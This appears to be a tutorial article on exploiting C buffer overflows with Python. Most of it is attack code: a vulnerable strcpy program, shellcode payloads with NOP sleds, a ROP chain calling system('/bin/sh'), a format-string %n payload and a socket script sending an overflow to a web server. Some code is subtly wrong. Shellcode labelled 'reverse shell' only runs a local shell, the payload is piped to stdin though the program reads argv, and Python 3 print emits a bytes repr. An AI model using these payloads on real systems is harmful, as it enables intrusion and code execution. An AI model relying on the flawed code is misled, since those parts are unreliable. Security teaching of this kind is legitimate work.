Exploiting Buffer Overflows in C With Python
Understanding Buffer Overflows
Buffer overflows occur when a program writes data beyond the boundaries of an allocated memory buffer, potentially overwriting adjacent memory and allowing arbitrary code execution. Let’s examine a vulnerable C program:
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input);
printf("Input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc > 1) {
vulnerable_function(argv[1]);
}
return 0;
}
This program copies a command-line argument into a fixed-size buffer without length checking, making it vulnerable to buffer overflow attacks.
Crafting the Exploit
Let’s use Python to generate a payload that exploits this vulnerability:
import struct
# Shellcode (executes /bin/sh)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Buffer size and offset calculation
buffer_size = 64
offset = buffer_size + 12 # Account for saved EBP and other stack data
# Return address (example, needs adjustment for your system)
return_address = struct.pack("<I", 0xbffff7c0)
# Construct the payload
payload = b"A" * offset
payload += return_address
payload += b"\x90" * 16 # NOP sled
payload += shellcode
print(payload)
This script generates a payload that:
- Fills the buffer with ‘A’ characters
- Overwrites the return address
- Adds a NOP sled
- Appends the shellcode
Executing the Exploit
To use this exploit:
Compile the vulnerable C program:
gcc -m32 -fno-stack-protector -z execstack vulnerable.c -o vulnerable
Run the Python script and pipe the output to the vulnerable program:
python3 exploit.py | ./vulnerable
If successful, this should spawn a shell.
Advanced Techniques
Return-Oriented Programming (ROP)
For systems with DEP (Data Execution Prevention), we can use Return-Oriented Programming:
from struct import pack
# ROP gadgets (addresses will vary)
pop_ret = pack('<I', 0x080483e1)
system_plt = pack('<I', 0x08048380)
exit_plt = pack('<I', 0x08048390)
bin_sh = pack('<I', 0x08048500)
payload = b"A" * 76
payload += pop_ret
payload += system_plt
payload += exit_plt
payload += bin_sh
print(payload)
This payload constructs a ROP chain to call system("/bin/sh")
and exit cleanly.
Format String Vulnerabilities
Buffer overflows often accompany format string vulnerabilities:
# Exploit for: printf(user_input);
payload = b"%x " * 10 # Print stack values
payload += b"%n" # Write to memory
print(payload)
This payload prints stack values and potentially writes to memory.
Use Case: Exploiting a Web Server
Let’s consider a scenario where a web server has a buffer overflow vulnerability in its request handling:
sequenceDiagram participant Client participant WebServer participant VulnerableFunction Client->>WebServer: Send crafted HTTP request WebServer->>VulnerableFunction: Process request VulnerableFunction->>VulnerableFunction: Buffer overflow occurs VulnerableFunction->>WebServer: Execution hijacked WebServer->>Client: Attacker gains control
Exploit code for this scenario:
import socket
# Shellcode to spawn a reverse shell
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
# Craft the exploit
buffer = b"A" * 1024
eip = b"\x12\x34\x56\x78" # Return address (example)
nop_sled = b"\x90" * 32
payload = buffer + eip + nop_sled + shellcode
# Send the exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target_server", 80))
s.send(b"GET / HTTP/1.1\r\nHost: target_server\r\n" + payload + b"\r\n\r\n")
s.close()
Buffer Overflow Prevention
To prevent buffer overflows, developers should:
- Use safe string functions (e.g.,
strncpy
instead ofstrcpy
) - Implement bounds checking
- Use compiler protections like stack canaries
- Enable Address Space Layout Randomization (ASLR)
Example of safer C code:
#include <stdio.h>
#include <string.h>
void safe_function(const char *input) {
char buffer[64];
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
printf("Input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc > 1) {
safe_function(argv[1]);
}
return 0;
}
Conclusion
Buffer overflow exploitation is a complex topic with many nuances. This article provides a starting point, but real-world scenarios often require more advanced techniques and careful analysis of the target system.
Remember to always practice ethical hacking and only test on systems you have permission to assess. Understanding these vulnerabilities is crucial for both offensive security professionals and developers aiming to write more secure code.